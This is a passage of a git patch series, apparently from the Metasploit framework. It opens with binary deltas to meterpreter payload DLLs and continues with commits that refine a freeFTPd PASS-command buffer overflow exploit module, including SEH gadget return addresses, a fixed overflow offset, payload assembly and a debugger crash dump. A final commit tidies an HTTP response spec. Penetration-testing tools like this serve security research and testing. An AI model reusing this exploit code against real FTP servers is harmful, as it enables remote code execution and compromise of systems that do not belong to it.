zG-RYuN5eZdFOJ61@Ovrb3EE%0BE<>RZkECcG(3+`I_X539hVB|%W(0q6w-I!;(jTd zNy8mdm`cOVQkYJ|4N{m%!zU5a?>;h4;~RsPl~@;lgk|(wdq_YanOjp8NR0lZ!`&K8 zY9p5FFz}SD>BO>yu3+*i=HdM{{Z3|P&Cw9jlaTP5`X0nW283u(=cAEWgg>glz&?*w zu5fbhzCFncgsnN$lPCz8TJv@<5<*nt<58>h{Z7aXQIDi>B;FrS?D#JCPkam$hu3`5 zn<)IrL+<vz<T-NM{d7O_8A+{~7D`qTVt1blBRVp^rZbGlWWp{#rE5e1zKDYEx(IUv z`UpA!9fB&M=b(IO0W<~DK!YI;`_P{as|m9Ms)A~v2IvBG1NssA6AE2Jm{^F19MA&j zDX4r6?%XZ})lfb*Yy_`E9Z;{eI1m&EnW2ZEEGP#mhW0>pP&0G`I<o=wKnqaMLy!%M zg+ie~=<d^~8~PMF108@Wp2n3lV<!=+$3ZvXs?wpyX^X(y4jzDNp$4c05}^(#WF2Ap zL&G2z8V}8cmO$&F3aAP?0euSn2+7yuq96k_0b1h1uMN<4=n(WC)C&Cug%+Y>h=-;? zsn7ywCA1#e3cUuMf|{WlP&?EK$#L?7q5B{k<bblE9B4hX71{?)r1vl%P2q&-j|?sH zzkd#_XOy?_rQYdNjB@jbSd?`AG=>pn-aw-Cs~HzbCj0k{SrM~>7R9Vck6BUk{17sS z^h*D0V~I6Csz_k4s}`TH<uLN`ULY830z<%9j?k|XnH;bW*Z}sWzKJODHk-)-!>JGA zs{w{H6D7XdVT!>)U<VipIxR$rucDZ0a0vB56<E&`<xqyvFtJvm90nuYPL%mz0r(`i z3w#Q!1L;uM0@4>qtu^~c6R)i287$_Tpv#b0b0nUukhyYF(E`{eAEXP#0#F7PgY-L) z3Xpz3vJ1qESf&c37k?O}7hem~i?0XqUYltE=?kVN5TCi377(u>nN|=lPBF&%8mS#b zBe|Fk1hkcyG+!&p!BC`1FboU_@$CVl0%_~Tg0%HmkhUHN($-4=Y3n6|_;Q1BfV34; zLE4I$pbB(?XhkLm9ERgF`3Q!?C;+3uVlW0Q2S<Pv;7D*6h}U9F6^OTK%wZ7k`<PlV z4y*^qf(;;E-7!s|0c-*BQlDuBIZy;mU^{5T@tF<;c95A(lnH<w90w}F`@wK<0;mEf zfwACZkOdzAIdBS?06qvNf)9ZXa2l8jI>1aY8FYdvU=HY-jUXSvLa=}uU@=J02{wX$ zU<K$8?gM3@i2f4*9!4Gr)`3A_11JZZ!C)|Q3i<@tid+G<fjz+vuoozsLtM(<2$XZs zDZogu4@f&|Uyydxeqb#8P*4YkfeB!LFbNC?Q^A2?78n8MfP=u*U?f-!MuFSF!Qd`% z2zY3Y3!MT%EsUYy8E_cb1P%u;gVCS}#(=lM5g?O}J^?DgQD8VY8jJ?VfGijX^59r- zCKwN9f*NoMr~~s|2=oXxfCjJ}G=h~N2UdY5uo^Uj^`Hf81Z`joXa}!@31B-o4(tT) z2jv;)JD>`j2*!bvKn|P?x+Wla0D%LX0;Yoxf=)0A%mp6;3&3gMM$iFPfYZT!U@~|Z zOabe_*<d5M5WEa72HU_TU?;c^l+Q&UljHddMIgh7LI<WGP=!1gi~~bJ4pe{>Ksxd` zz<yvl7z#SU{$MT`0TzH!U<DWl?gK4g9cTj^!27{waIqZSy$u1ukktvwK>0kJ2p9?m zgDNlti~|)Q2h#5^CV&<&9b61LL4xr=AC!R`z#y<33<fK~5U>hVfYo4x3qd^s3)lz} z41JeD87P85AU<d+gXxf%i3&gkr~t#k2rwG7fILVrL?(g3U@8~_W`PPY2aEt$gBEZb z=pq<1_aO)d4}&3K9T)*NfEKV7Br0?+Fc|CvLqPd_l!KuliN=Y5!5|BUfIKY+6KQ!Y zPKcI+S+pF?nUCk6#Nmu+0a#26z-=I5@tjg0JVbr4mijt8rql<Us1IJIK8F^gIe44q zJi{;xkb?@4B%sA;4n|W>z=>jAs0>NOnNlMOXG-b7^9ssVqs74pFbAZg;&{|a$8($` zlMn9+kj|h0vjKSvSPp&(R)R;sDsUHA4Q>YO!H>a4@N+ucwjlTvybit!wu5hjo!}Wz z{s^XQFchTofeLH{<G_<32R49o0-_Vt1mrJ*>EL3p06v}Za*;m*=HrA3^^v>K3d}|X zYrqPyh8AE0x+XY`oG!5{kjub2<aFX`0G|cvnt-kmnvtUsrL_TFE3_it1Ga%%zz&d3 zRI)6*rvsJXK@jteOPc8-VU)t4i;5sH4mq9CYLUx94*6bi0{9{501tub;CavqZUu9} zcfbPhEVvP@1}i}N<>fxG2|Nrw2-aoc{?{XDfbkhfS24k0GxATsR*-&`+Xj9Cc7X4L zvV}zX7N`XO1xA9+U@W)~)Pb*q3E&kl2^7FouocV#kApcb1Ro(-4PFI{!Asya@M~}v zco94Vz6a7p$#Ae1Ii0fUVuLP5&LCd`(!~i~v@{`i(sEo-2zVKJ5=a*x_faBW0lMfq ztp|eJFt&lrqeQtMP=IfM;owv-8axKFU>!&o5jK!VUQB)DMlcb%)TvRg0{KkjbTL9# zJ9Jf)i98qNkYfyTF-u^)2_qk*ixIj|><Ml_J`JqJhOuBd@@y~%`4F%Y`FxNrD0_ib z$noSdbYa;WtVaGkSPwo7(sd?%P8*R=2kCNbEM5P#z*r80!4;^1>&WxLMC4|$9r=2Y z!47=@x@@w8o$yOQ#Ugz72g>1Vz;NVGg1fMN3>b}k5m<pd8f1|_3i9A4+Eh&_7y~B4 zSPISr3&BiOXr)B{4Cp{^0hb`(0Cr$M7R*P!6Wjo<0?WZXuo9dF%CTKvunPHhuo|2R z)`KoL0wp%+2R6be17mR@1K5ImEf|jSQ1CkPWKe}X3~Wc90(OEGpxjB68^Lh!We|T2 zqpYID_WeN)c`C>v9{^5p;`vWQKv$?d=)eX=U^@5;=mb}SxnL!jfE@>d1<2=s#mI+& z8<A&$72pZ53Oo(gf``Eduoi3qKLADW9GIAf=RX2L2aI%(j`QDuvd4(>6c`D<3+liF zU=sKO=)i#ofmz6RfH`0WsKkY6!PUs00_n;+0W3!T9LOQ(zzXCAV1f&V3Bf)X>%df0 z90?vqJ{PP59|tqxM}ZB<=YcBhrw5ynuLko`t^!+;F94m$2ZL?MGr@3duLC=fzXU3? ziSlXi;ltQ)B!XBNkAXUH8JGb2gAVW-m<g7HOTgV=K6n(|0KNv6gOk9@nzZp`$e^%t ze7Pk<-jIuq=0RUM2D-~K$bgu$4=~E}5K0-m4D*gb9N#U!GKEoo<3683hLBg>-(`?N z0rn@*N8Q15;S{<@0e-`FxZlqpgUJ>5V>I3Il9Vb}?`M>FljNmU7bA8zWsvY*Z3q5w ze?Q><dM=3|y!+R=WKdwuJB;%Ecch*DQs1SF2rR+Ng31%_(R0aQzm$`b7m!`gC?9vf zFb~I?a7rp71KbyBT5-<(<vg4T>mHbiboxbKX`wp}sq(y^Z*f3RNI>jvokzmSWA5E3 z^uOaz+?VE&C^FA|6*&oWllj16_fU#O?s34N3o74i%^30KXFp-^cP>ozD#ZB&f15oj zrWNsRC?uaSeW5sL0yG<10u@6CYR=Cm1IV<QU9U;#*=(XQ{w8<ZlVI1+UA&1(z#GfV zZrk<6D-{K{o7ru<hYGL{OSTLR`~Pp?{@;EBN9UFQ^#-nH`a*IvcpUz_U^*?#EFui; zVRSH{;*cjosnEBWRjMF4#)5MguJYk+g7!ei+!L3PgXE1Gl0)t%exnU;)<r_`)^~kC zCH~%Pq5J9+<VC;h+~0O!GwchdzjHVK2218=GE0VMm)~GgBjys$FQ9oG*3&gHtH?pW z7{5+N`F~Z-ohOMWNZ&XKt4F9AYJo08t<ZHygxaAFh?$I~4-^im+&`=%BV7)JGoe%{ z9m;}opnQmj3ZP=B9IAl!L5HAP=nT{VH9{>=8}!#B+ku!##3C6|LgA1KiiKDx0dgdg zUdl`axll1w;eKH~iGM)$08SH%gjk4&8d01G&V(|d9B2cy4XT3bpfgY-)C$R`V1IXT zA#wMvT8wIPFyB6bO?MNw+C}<pVFTR_g=BRQEqraM&%`Y}>c+pBB#=Yyhl|J%H5-FH zAtQ8n9HaaMx(eNb$aqHC2O0{gp>fc|HM@(@Gh7)Kr)8NX-?H9PZ8>gfwmiz`@SFH! z{006Oew1~pHP@PBd&>5j?TGDTn`n!$PqHtxFSl>Ce_%&9WU(3mLf9DgF*cv=U}frl z>L|5IJwctSo~M3H{gV1sb+vk`CPh=L`A{Qj?r1`_BeW~E+qB2D=d>ScWiFjoH%GTr zSFGEt+oL<7YtntC`$b3e1N9^HoAulEC-k4`ztZ2*|EZT7HW}iL2IF|+C&q)^QSKzS z&a~CE)AWj|$)qs%H!m|kX@1Xq$1JyKEDu{&Se}<IN6(MrpWr{>FZ0*<ANbpRA8Vx5 zU`?_XTDMzYwZ3U}ov@y@erx^N*55wdKE>{|Z@2$WuPgxzIl#tduurqEvr+1&)g|f! z>O<-y>J#b@)t{=rQeRX5p#E9?huTlmQ`1)yr5UCftI=qzn(>;cn(3Mh&1y}V<||E* zHdM=MQ?!q07i+g`tF#_%tu|N}ri;=g>SpO)bm{7JU+R9;Md~N(o%(0>$Mxs*P5LkN zSM~Swf9U-T3c~{ihv7}bb;AH$`&{GG#uDR6<2B<Q<73>L+>hK~(`3`LXoYu86U@Pu z-j<=31j{_jN=uQY)8fbX;wSPMJmbLn8W%H$u3a**`T(>BqrqaZ8{7#cgmX0;?irGe zZti(Y8vlXK-!8ZJ#f_eWTfNMF*#4gVC)y-A_y7ciu$gQgyP5r&RjGSwp3vRY4>4#B zj~EskRv8KmrG_mAkKvTzeZyyl%Z5%vfU$?Mk1^iJ8z&kwjZ2Knjcbgh#x2H5<Lkzw z#u{UT@k8U+F5`9M_r}}CUyUK$IPL*1om<2$;ns2`+$L^6F7qsRgIi)MG?kkwO@~ZJ zO{Y!QOdTdav)tUzY%p8Qlg&xy#b%HBviT>o*KD&STQV)HErpg6i`%l(a@2C#^0DQD z<%*>PO~Uf`^IQ3M_)6=SxbHWuM!U`K!etd;Pz4&;TWo>)S#>3D_Cd|tnol*CG{0#A zw7s=MwPUnXwW-=>ZK*C)&+3!)Vb(!brW~s_?DwUi)o{bmX6R$I7#A9QnZisjnhuzb zo6ehVnljB!bFO)vxx~E1{DOJ6`8AyCaq~Iz$L6c%HuG(Br^_s}^tAN147S8sbe0{K zU6x-ge_F!$BEA&oTEQRY-{ZgK1FX?jz13_@uuiw8S{GWET31^)ShrY@TI+BfcdRei zU!k{Y7iI#CY-*NgpJJau-#yCKvZvTa_6qw0`#al99jcB{Z_{MzT6F>X-spDI^sWm1 zQT+{ln?B6I8WIgNaW{(%`*05j8Ali=8yBG0Z8Yw{ow{ZejVdk<H>Z?4!CmC;aS<k! zX{2eD>9FaP>7GexPQ<ltGQWf?eAj&1d>+@Rv2d36_|N%X)^KaO)oERhXK$1Bko9Bh zCF}RrU#yHR-eoh|CSjD>WvjNGw0&f2wq3Wi*?zVWdk=dbyUIS=&f3S@r`c2Onf82p ziG8#Ed3&XOzx_3I&RYAs_R|=Rn(P<sU)#U2e`mjCziaQLEpZs1fzT2%Hkj?r4qzkM zVeDu&p4GEfc08NNI@nq49QF~`$+{kASK={W$Cj|0*llbjyPJK5eUq(b-$uioV?Sg+ zXTM}ySrHBR3!0Eo2daBvpc|+jsve<^Q|mC`+0~QPN$Tn9*%<Z~s+X#ltMk<b>LPWi zT2NPD7({Qv(DAnVBnFRW^;Pxv>fV}g%?Jz@b2V8m%|6ZRn&X<=nm;r>w8OL`wd1vu zwez)WwV!C0=yG+Xx>t2Kbqn;BxGA-Gti~Cq8qXT9;AULlE^$9_m8OHHw@gFKtl4Ou zXimp1ScdNQqWKr|R?8mCo0d;4cP+nLg7|(s&!_S8_{Vq``c)NwgnyTBz_932S>rJ( zW?3JzuCqR8ec8I-8ffcbi?Ug4(`>VBe)b@{0>h&dqrocszwK@IJG6Q0@rnt}OV~h` zWew<VQ&|^V#6HJvXZNxP*(2<`QtLIM^;GH@brz<B<?2;Zt87*Or2bXiU!&4&)|}N` zaA_EAkhYgL3?n74our+i&Co8@)@y&$hUwPn1^tKmFZI{;KkI+j2N*^eb{mcu&KbTm z+{W+{WE^bdj5Cbs=%kB{IYyW984N5f#=cx4H;22!#hRv>c9@>VSWs*^gbCqm%TJa& z7Q*-D!}w@^3~#~oFqwBv<7e@6_(#w%%lK7%0skz&8IRp-{3$fgC;S)uRlbdnw@$WZ zT1%|u*4M0WTi>&OYQ1K?W$myA+XmQ%*+!!akFzbZRoM31-mraY^V%k(yB63z_7Bk| z(OON?(90}EKT1_Ur+z_Qqwb?=#tjeDrn$5Wv?kp|U5;+7-k^^)s0~rZMYx&@<4vR2 zIEmZHHE`c@GSdlDgQ?Z@yJ-?0t2T4EWus*uW^7{rkshGccYp<Ir+Slmo7#iUHdDJn zU##D#FV}C=SLiGCyY$ba_vnm28i(Qm{)p>uiZ#v0XzChnzR#?%#9A)!SNQ1|ShiaG z*dy({eX@NKCVP+l61|3Y-}wJLs%}(&roN<ZRbN+&xC*0YmL^@3smanfHA^%(np{o3 z=9H#E)2L~}6`HjZwVB#Q+9lc?ZLaot?Mdw|ZHKl~%jje}xlW-|>Ox(*xw<T!Q?~>y z@Tj5EFx5EA_^5Fe?qjR*p7Bp(AIu5UxLLTP^D#3#&gF5dxkBzaZVOkz?c%Dq!(1Ka zi1)cB?n~}EcN;AgYKk&VG(Bue#}iP2R=SJna4=tt9)E&A!!y<qRvkvtmDYCaEZcdT z>mV8sf9rr&jAYZ;CiWV8PaUO+)lAXs#Q5K-@z;*l8qqbUX!EgjIj+5|6}7!}Lv);O zwr;-eb*x+b^u4fViN$cb7PDK8@x1Yp@dw<zKHP9l&rRmixW(KWZZr1=SI>Qllf287 z@O4;Zg<G4f*Im|QwhwIgY`yT1S?#kh#%;78#K?9E%`S~(SgLNs$qnxs$y+f5%~kKm zVDhp0uDYLQlxCskX-ywA?FZV=(Y*b2(K?N8r>;TwvHqg|ivAb9S07{G4T}tK8oxw~ z4!{s@;D~7@mJTnPcAMrNF#TeZnZwN^&9lvm%&W{BFqO8Ohhi#9=F9oL{7S3Jw!@~d z$6$HHs0c$}uGrY6Y$5wH8=+27&sVQekJl&a@o|<3N0~|!jn<3Pa2j5dpmBe+h3I-7 z!gyM(uhrM->-DiUy|<Dzghac`1Tw>af;y?@8-bi9^D{Xo$K>F%Gb-7jE!I|JwRA?? zfJwInohDQljwVml<?AYRwYoEy!P<0keKeXqQJ;n7Q?Y)ZzDnPq7qM83#YE=BG`7uf W*wAEXHz<v)(P7M~3D{2V1^o|l;jJ71 diff --git a/data/meterpreter/ext_server_sniffer.x64.dll b/data/meterpreter/ext_server_sniffer.x64.dll index 4977bf48b8e55540cd1be9c22036190f9212d436..87f05c0df6d9bfd7c0122083e77167c5951746d0 100755 GIT binary patch delta 58 zcmZqJAl0xzY5^nj+5Ik)nHhbV1P(U`F}4RWf-n;hGXpWp_8>;qPX-`0?e0db+ue=W HcBTRVCzcXt delta 58 zcmZqJAl0xzY5^nj#qBnenHhbVI5sy2F}4RWf-n;hGXpWp_8>;qPX-`0?e0db+ue=W HcBTRVAr=xh diff --git a/data/meterpreter/ext_server_sniffer.x86.dll b/data/meterpreter/ext_server_sniffer.x86.dll index fde991fc66de240bfc747dfa9e0c64c9ded990ec..2a99ab0b0f79dee8487a9c186e58cd588fadb595 100755 GIT binary patch delta 58 zcmZqJAl0xzY5^m2{(hIq%#6NF%Re;-F}4RWf-n;hGj9)KWNESl$+us(VgX{-?bof? GG-Clipc7vJ delta 58 zcmZqJAl0xzY5^m2*mj%A%#6NFsgIh27~6vwL6`}MnYRZqvNTzO<lC=Xu>dja_Ul$` Gny~;UEE2l_ diff --git a/data/meterpreter/ext_server_stdapi.x64.dll b/data/meterpreter/ext_server_stdapi.x64.dll index 393d1c8cb9d147630f472669f4f79ce81d644677..ab522683d2683c956dae6d4b540feb70eaa1bb2d 100755 GIT binary patch delta 62 zcmZp8AkpwZVuJ)DbNham$<mCzOs3a1XECk{X7p$l4Q&?<Wdvd-AZFe!8p`s%2c)c> N{SnJ{_D8HgeF3WS76t$S delta 62 zcmZp8AkpwZVuJ)DbLn=Q$<mCzOn;AV&SG2@%;?fA8rm)z$_T_vK+L>dG?e9i4@g-% O`y-a^?2lM~`T_vKbry91 diff --git a/data/meterpreter/ext_server_stdapi.x86.dll b/data/meterpreter/ext_server_stdapi.x86.dll index d97312a75c6b08c33f5a26a591380e56f71731cd..b4f01fec989a5d33b5a44a4f6c35f2470ebfd6fe 100755 GIT binary patch delta 63 zcmZo@5N~J@-@w7hthe7~GB=|yv-45b&C!hFc8ng)#rEyR_KZNx1jNkSi|tts1~cpK QcWF1D%(C5lGV4hl0BO?{F8}}l delta 63 zcmZo@5N~J@-@w7h{CS(rWNt=Z=AB#EHb*mx+cCN{7u&ZN+cN?&6A&|RFSchn7z|R^ OZa$f1yZL0+lR5yY=N0+@ diff --git a/data/meterpreter/metsrv.x64.dll b/data/meterpreter/metsrv.x64.dll index f59082ccd6dd0d3bd8f9d034aa519bae3c53b2a2..e94b10adb6333b61703c655a726d89e5d5b3968c 100755 GIT binary patch delta 89 zcmZpeW8E;vdcqIp%Ka`AfBP~?)Hi!EwtF#xFcT0n12GE_vjQ<25VHd@2M}`tF&7YX aZ}(#4=~4t~Z@;d@1H`=BuPgCst_A?``5Pes delta 89 zcmZpeW8E;vdcqIp<n1;SfBQ1s$!qpvZ1-XWVJ0AE24WT<W(8t4AZ7<*4j|?PVlE)& a-tNW7)1?T~-hN$)2Z(vMUsvMOTnzvf?i+{z diff --git a/data/meterpreter/metsrv.x86.dll b/data/meterpreter/metsrv.x86.dll index f9c4a3312140a4e865360cd6477e5080d3e516b9..4c4060cefa4ccde1ceb8d8bdc2fa6cdc36dff36f 100755 GIT binary patch delta 75 zcmZo@&~Iqa-@w7hEWh7nGB=|y(`5bTD8}|EMi6EKVrC#_0b*7lW&>h&Am-Q}#mKqq S8%R&P_z%wQ;y<`v9tQv)CKnC> delta 75 zcmZo@&~Iqa-@w7h{AioaWNt=ZCQkY0D8}|EMi6EKVrC#_0b*7lW&>h&Am-Q}#mKqq S8%R&P_z%wQ;y<`v9tQw3S{K*= diff --git a/data/meterpreter/screenshot.x64.dll b/data/meterpreter/screenshot.x64.dll index 7a292782d7866e4eb1baafcb5c6240a74a7da2b6..8e314073468461764fef7fd5618734004c29205c 100755 GIT binary patch delta 41 vcmZoz!_%;aXTlHWp8YNpfBQ1AYc_i^wtF!$Zueqj>bedR-hTZClcp^ISfvmA delta 41 vcmZoz!_%;aXTlHWn(a0dfBQ0BmuU84Z1-Yh-0sE5)O8&sy#4wOCQVxaW^E9A diff --git a/data/meterpreter/screenshot.x86.dll b/data/meterpreter/screenshot.x86.dll index bd34b6b56cb718000ccb4bb4cad1f139153be0d5..e879e968bbf49619d12e2d0f2db8b9061c34bd29 100755 GIT binary patch delta 43 xcmZqJ!PBsVX8|L#@qU-d%#6Ow?5r%!!Hn&}jEviZ8JP~g1xaidf6w$%2LK<64b=bu delta 43 xcmZqJ!PBsVX8|MguWdGynHhbVTfZ<j2Q#(@Gcs-uW@I|}79_D<{5{i49ROlk5Ul_J From 3a3f1c0d0514b7a9f668b23c6a898115a0302078 Mon Sep 17 00:00:00 2001 From: TecR0c <roccogiovannicalvi@gmail.com> Date: Fri, 27 Sep 2013 11:13:28 +1000 Subject: [PATCH 048/210] updated requested comments for freeFTPd 1.0.10 --- modules/exploits/windows/ftp/freeftpd_pass.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/modules/exploits/windows/ftp/freeftpd_pass.rb b/modules/exploits/windows/ftp/freeftpd_pass.rb index ff52a891f8..53abaad932 100644 --- a/modules/exploits/windows/ftp/freeftpd_pass.rb +++ b/modules/exploits/windows/ftp/freeftpd_pass.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = NormalRanking + Rank = NormalRanking include Msf::Exploit::Remote::Ftp @@ -21,7 +21,7 @@ class Metasploit3 < Msf::Exploit::Remote may allow a remote attacker to cause a buffer overflow, resulting in a denial of service or potentially allowing the execution of arbitrary code. - FreeFTPd must have account authorization anonymous user account enabled. + FreeFTPd must have an account set to authorization anonymous user account. }, 'License' => MSF_LICENSE, 'Author' => @@ -40,10 +40,10 @@ class Metasploit3 < Msf::Exploit::Remote 'BadChars' => "\x00\x0a\x0d", }, 'Platform' => 'win', - 'Arch' => 'ARCH_X86', + 'Arch' => [ ARCH_X86 ], 'Targets' => [ - ['freeFTPd 10.0.10 on Windows (universal)', + ['freeFTPd 10.0.10 on Windows Desktop Version', { 'Ret' => 0x004142f0, # pop ebp # pop ebx # ret 0x04 [FreeFTPDService.exe] 'Offset' => 801, @@ -72,7 +72,7 @@ class Metasploit3 < Msf::Exploit::Remote # All versions including and above version 1.0 report # "220 Hello, I'm freeFTPd 1.0" when banner grabbing - if banner =~ /freeFTPd 1.0/ + if banner =~ /freeFTPd 1\.0/ return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe From a6e1bc61ecf3976454e6e72f867049a73744e4cb Mon Sep 17 00:00:00 2001 From: TecR0c <roccogiovannicalvi@gmail.com> Date: Fri, 27 Sep 2013 11:27:51 +1000 Subject: [PATCH 049/210] updated version in exploit freeFTPd 1.0.10 --- modules/exploits/windows/ftp/freeftpd_pass.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/ftp/freeftpd_pass.rb b/modules/exploits/windows/ftp/freeftpd_pass.rb index 53abaad932..b04d24a157 100644 --- a/modules/exploits/windows/ftp/freeftpd_pass.rb +++ b/modules/exploits/windows/ftp/freeftpd_pass.rb @@ -43,7 +43,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Arch' => [ ARCH_X86 ], 'Targets' => [ - ['freeFTPd 10.0.10 on Windows Desktop Version', + ['freeFTPd 1.0.10 on Windows Desktop Version', { 'Ret' => 0x004142f0, # pop ebp # pop ebx # ret 0x04 [FreeFTPDService.exe] 'Offset' => 801, From 5fc98481a726826a8e550d9b0efa62e04c415ca8 Mon Sep 17 00:00:00 2001 From: TecR0c <roccogiovannicalvi@gmail.com> Date: Fri, 27 Sep 2013 12:35:03 +1000 Subject: [PATCH 050/210] changed seh address to work on freeFTPd 1.0.10 and below --- modules/exploits/windows/ftp/freeftpd_pass.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/windows/ftp/freeftpd_pass.rb b/modules/exploits/windows/ftp/freeftpd_pass.rb index b04d24a157..e0633f3ba0 100644 --- a/modules/exploits/windows/ftp/freeftpd_pass.rb +++ b/modules/exploits/windows/ftp/freeftpd_pass.rb @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info={}) super(update_info(info, - 'Name' => "freeFTPd 1.0.10 (PASS Command)", + 'Name' => "freeFTPd 1.0.10 and below (PASS Command)", 'Description' => %q{ freeFTPd contains an overflow condition that is triggered as user-supplied input is not properly validated when handling a specially crafted PASS command. This @@ -43,9 +43,9 @@ class Metasploit3 < Msf::Exploit::Remote 'Arch' => [ ARCH_X86 ], 'Targets' => [ - ['freeFTPd 1.0.10 on Windows Desktop Version', + ['freeFTPd 1.0.10 and below on Windows Desktop Version', { - 'Ret' => 0x004142f0, # pop ebp # pop ebx # ret 0x04 [FreeFTPDService.exe] + 'Ret' => 0x004014bb, # pop edi # pop esi # ret 0x04 [FreeFTPDService.exe] 'Offset' => 801, } ], From 7dbc3f4f87878805e0933bd8a2639eb14fe77abf Mon Sep 17 00:00:00 2001 From: TecR0c <roccogiovannicalvi@gmail.com> Date: Fri, 27 Sep 2013 12:37:52 +1000 Subject: [PATCH 051/210] changed seh address to work on freeFTPd 1.0.10 and below --- modules/exploits/windows/ftp/freeftpd_pass.rb | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/modules/exploits/windows/ftp/freeftpd_pass.rb b/modules/exploits/windows/ftp/freeftpd_pass.rb index e0633f3ba0..efc05e03dc 100644 --- a/modules/exploits/windows/ftp/freeftpd_pass.rb +++ b/modules/exploits/windows/ftp/freeftpd_pass.rb @@ -16,10 +16,11 @@ class Metasploit3 < Msf::Exploit::Remote super(update_info(info, 'Name' => "freeFTPd 1.0.10 and below (PASS Command)", 'Description' => %q{ - freeFTPd contains an overflow condition that is triggered as user-supplied input - is not properly validated when handling a specially crafted PASS command. This - may allow a remote attacker to cause a buffer overflow, resulting in a denial of - service or potentially allowing the execution of arbitrary code. + freeFTPd 1.0.10 and below contains an overflow condition that is triggered as + user-supplied input is not properly validated when handling a specially crafted + PASS command. This may allow a remote attacker to cause a buffer overflow, + resulting in a denial of service or potentially allowing the execution of + arbitrary code. FreeFTPd must have an account set to authorization anonymous user account. }, @@ -85,7 +86,7 @@ class Metasploit3 < Msf::Exploit::Remote connect print_status("Trying target #{target.name} with user #{user()}...") - off = target['Offset'] - 9 # 9 => length of jump to get back to sc + off = target['Offset'] - 9 bof = payload.encoded bof << rand_text(off - payload.encoded.length) From b02a2b9ce0a421485f41daa23cf1d3186bb3b38f Mon Sep 17 00:00:00 2001 From: TecR0c <roccogiovannicalvi@gmail.com> Date: Fri, 27 Sep 2013 17:05:42 +1000 Subject: [PATCH 052/210] Added crash info and basic tidy up --- modules/exploits/windows/ftp/freeftpd_pass.rb | 35 ++++++++++++++++--- 1 file changed, 30 insertions(+), 5 deletions(-) diff --git a/modules/exploits/windows/ftp/freeftpd_pass.rb b/modules/exploits/windows/ftp/freeftpd_pass.rb index efc05e03dc..3c605a3db7 100644 --- a/modules/exploits/windows/ftp/freeftpd_pass.rb +++ b/modules/exploits/windows/ftp/freeftpd_pass.rb @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info={}) super(update_info(info, - 'Name' => "freeFTPd 1.0.10 and below (PASS Command)", + 'Name' => "freeFTPd PASS Command Buffer Overflow", 'Description' => %q{ freeFTPd 1.0.10 and below contains an overflow condition that is triggered as user-supplied input is not properly validated when handling a specially crafted @@ -27,14 +27,15 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'Author' => [ - 'Wireghoul', # Vulnerability discovery + 'Wireghoul', # Initial discovery, PoC 'TecR0c <roccogiovannicalvi[at]gmail.com>', # Metasploit module ], 'References' => [ ['OSVDB', '96517'], ['EDB', '27747'], - ['BID', '61905'] + ['BID', '61905'], + ['URL', 'http://www.freesshd.com'] ], 'Payload' => { @@ -71,8 +72,8 @@ class Metasploit3 < Msf::Exploit::Remote connect disconnect - # All versions including and above version 1.0 report - # "220 Hello, I'm freeFTPd 1.0" when banner grabbing + # All versions including and above version 1.0 report "220 Hello, I'm freeFTPd 1.0" + # when banner grabbing. if banner =~ /freeFTPd 1\.0/ return Exploit::CheckCode::Detected else @@ -100,3 +101,27 @@ class Metasploit3 < Msf::Exploit::Remote end end + +=begin +(c78.ea4): Access violation - code c0000005 (first chance) +First chance exceptions are reported before any exception handling. +This exception may be expected and handled. +eax=0012b324 ebx=01805f28 ecx=00000019 edx=00000057 esi=4141413d edi=00181e18 +eip=76c23e8d esp=0012b310 ebp=0012b328 iopl=0 nv up ei pl nz na pe nc +cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 +OLEAUT32!SysFreeString+0x55: +76c23e8d ff36 push dword ptr [esi] ds:0023:4141413d=???????? + +FAULTING_IP: +OLEAUT32!SysFreeString+55 +76c23e8d ff36 push dword ptr [esi] + +EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) +ExceptionAddress: 76c23e8d (OLEAUT32!SysFreeString+0x00000055) + ExceptionCode: c0000005 (Access violation) + ExceptionFlags: 00000000 +NumberParameters: 2 + Parameter[0]: 00000000 + Parameter[1]: 4141413d +Attempt to read from address 4141413d +=end From 0aa2556dfc07bded74852043a0e316d425e80dfb Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Fri, 27 Sep 2013 09:32:15 -0500 Subject: [PATCH 053/210] Use described_class, not a new constant --- spec/lib/rex/proto/http/response_spec.rb | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git a/spec/lib/rex/proto/http/response_spec.rb b/spec/lib/rex/proto/http/response_spec.rb index e8fa73980f..255a34820e 100644 --- a/spec/lib/rex/proto/http/response_spec.rb +++ b/spec/lib/rex/proto/http/response_spec.rb @@ -100,15 +100,14 @@ Content-Type: text/html; charset=UTF-8 "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">' describe Rex::Proto::Http::Response do - R = Rex::Proto::Http::Response it 'get_cookies returns empty string for no Set-Cookies' do - resp = R.new() + resp = described_class.new() resp.parse(get_cookies_test_1) resp.get_cookies.should eq('') end it 'get_cookies returns 5 cookies for test 2' do - resp = R.new() + resp = described_class.new() resp.parse(get_cookies_test_2) cookies = resp.get_cookies cookies.should_not be_nil @@ -125,7 +124,7 @@ describe Rex::Proto::Http::Response do end it 'get_cookies returns 5 cookies for test 3 and parses full cookie' do - resp = R.new() + resp = described_class.new() resp.parse(get_cookies_test_3) cookies = resp.get_cookies cookies.should_not be_nil @@ -142,7 +141,7 @@ describe Rex::Proto::Http::Response do end it 'get_cookies returns 5 cookies for test 4 and parses empty value' do - resp = R.new() + resp = described_class.new() resp.parse(get_cookies_test_4) cookies = resp.get_cookies cookies.should_not be_nil @@ -159,7 +158,7 @@ describe Rex::Proto::Http::Response do end it 'parses multiple cookies in one Set-Cookie header correctly' do - resp = R.new() + resp = described_class.new() resp.parse(get_cookies_test_5) cookies = resp.get_cookies cookies.should_not be_nil From 6381bbfd3920570d89adb5b8d12e3f2b203e3b57 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 